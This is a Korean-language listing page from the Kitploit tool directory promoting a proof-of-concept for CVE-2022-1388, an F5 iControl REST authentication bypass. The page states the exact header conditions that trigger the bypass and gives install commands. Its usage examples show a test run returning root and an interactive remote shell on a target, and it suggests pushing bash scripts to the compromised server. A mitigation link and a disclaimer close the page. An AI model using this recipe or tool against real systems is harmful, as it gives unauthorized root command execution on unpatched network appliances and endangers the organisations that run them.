Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-1388-POC — 대화형 셸이 포함된 CVE-2022-1388용 개선된 PoC(개념 증명) | Kitploit
도구/GitHubGitHub/psychosec2/cve-2022-1388-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubpsychosec2/cve-2022-1388-poc

CVE-2022-1388-POC

대화형 셸이 포함된 CVE-2022-1388용 개선된 PoC(개념 증명)

저장소 보기
14411년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-1388 Poc by PsychoSec

여러 F5 제품에 영향을 미치는 CVE-2022-1388용 개선된 POC입니다.

이 도구는 CVE-2022-1388에 대한 Horizon3의 Proof of Concept을 개선한 버전입니다: https://github.com/horizon3ai/CVE-2022-1388

이 버전에는 여러 가지 개선 사항과 원격 명령 실행을 위한 대화형 셸이 포함되어 있습니다.

기술적 분석:

취약점에 대한 Horizon3의 기술적 근본 원인 분석은 해당 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

요약:

이 취약점을 악용하기 위한 요청의 필요 조건:

  1. Connection 헤더에 X-F5-Auth-Token이 포함되어야 합니다.
  2. X-F5-Auth-Token 헤더가 존재해야 합니다.
  3. Host 헤더가 localhost / 127.0.0.1이거나 Connection 헤더에 X-Forwarded-Host가 포함되어야 합니다.
  4. Auth 헤더는 admin 사용자 이름과 임의의 비밀번호로 설정되어야 합니다.

요구 사항:

  • git
  • pip3
  • python3

설치:

root@kitploit:~
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h

사용법:

대상 테스트:

root@kitploit:~
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!

Use -s option to run an interactive shell.

대화형 셸:

root@kitploit:~
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..

root@f5-localhost: /var/service/restjavad$

역방향 TCP 연결이나 리스너를 사용할 필요가 없습니다.

옵션:

root@kitploit:~
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]

Options:
  -h, --help         Show this help message.
  -u URL, --url=URL  The IP address of the target.
  -t, --test         Test target for CVE-2022-1388.
  -s, --shell        Run an interactive shell.

중요 사항:

패치되지 않은 시스템에서 대화형 셸을 실행할 때 특정 명령과 구문이 작동하지 않거나 예상한 결과를 주지 못할 수 있습니다. 이는 서버 API 요청 및 응답에서 JSON을 사용하기 때문일 가능성이 높습니다. 문제를 피하려면 대화형 셸 사용 시 콜론, 쉼표, 중괄호, 대괄호 그리고 특히 따옴표와 같이 JSON 구문에서 흔히 사용되는 단일 문자를 사용하지 않도록 하세요. 명령 내의 모든 JSON 구문은 형식에 맞게 구성되어야 합니다.

명령 내에 구조화되지 않은 JSON 구문을 사용하면 서버에 잘못된 형식의 API 요청이 전송되어 명령 출력이 없거나, 아무것도 실행되지 않거나, python 스크립트에서 완전히 빠져나올 수도 있습니다. 이로 인해 안타깝게도 일부 명령을 사용할 수 없게 됩니다. 이 문제를 해결하려면 bash 스크립트를 작성하여 서버에 다운로드한 다음 대화형 셸을 사용해 실행하면 됩니다. 또한 'cd' 명령을 사용하여 디렉터리를 변경하는 것은 불가능합니다.

  • JSON 소개: https://javaee.github.io/tutorial/jsonp001.html

어쨌든 기본적인 명령 출력은 여전히 얻을 수 있을 것입니다. 명령 출력이 없더라도 명령이 실행되지 않았다는 뜻은 아닙니다. 다만 그 여부는 직접 분석을 통해 확인해야 합니다.

완화 조치:

최신 버전으로 업데이트하거나 F5 보안 권고의 지침에 따라 완화 조치를 수행하세요.

  • https://support.f5.com/csp/article/K23605346

면책 조항:

이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하도록 의도되지 않았습니다. 프로젝트 유지 관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.

도구 다운로드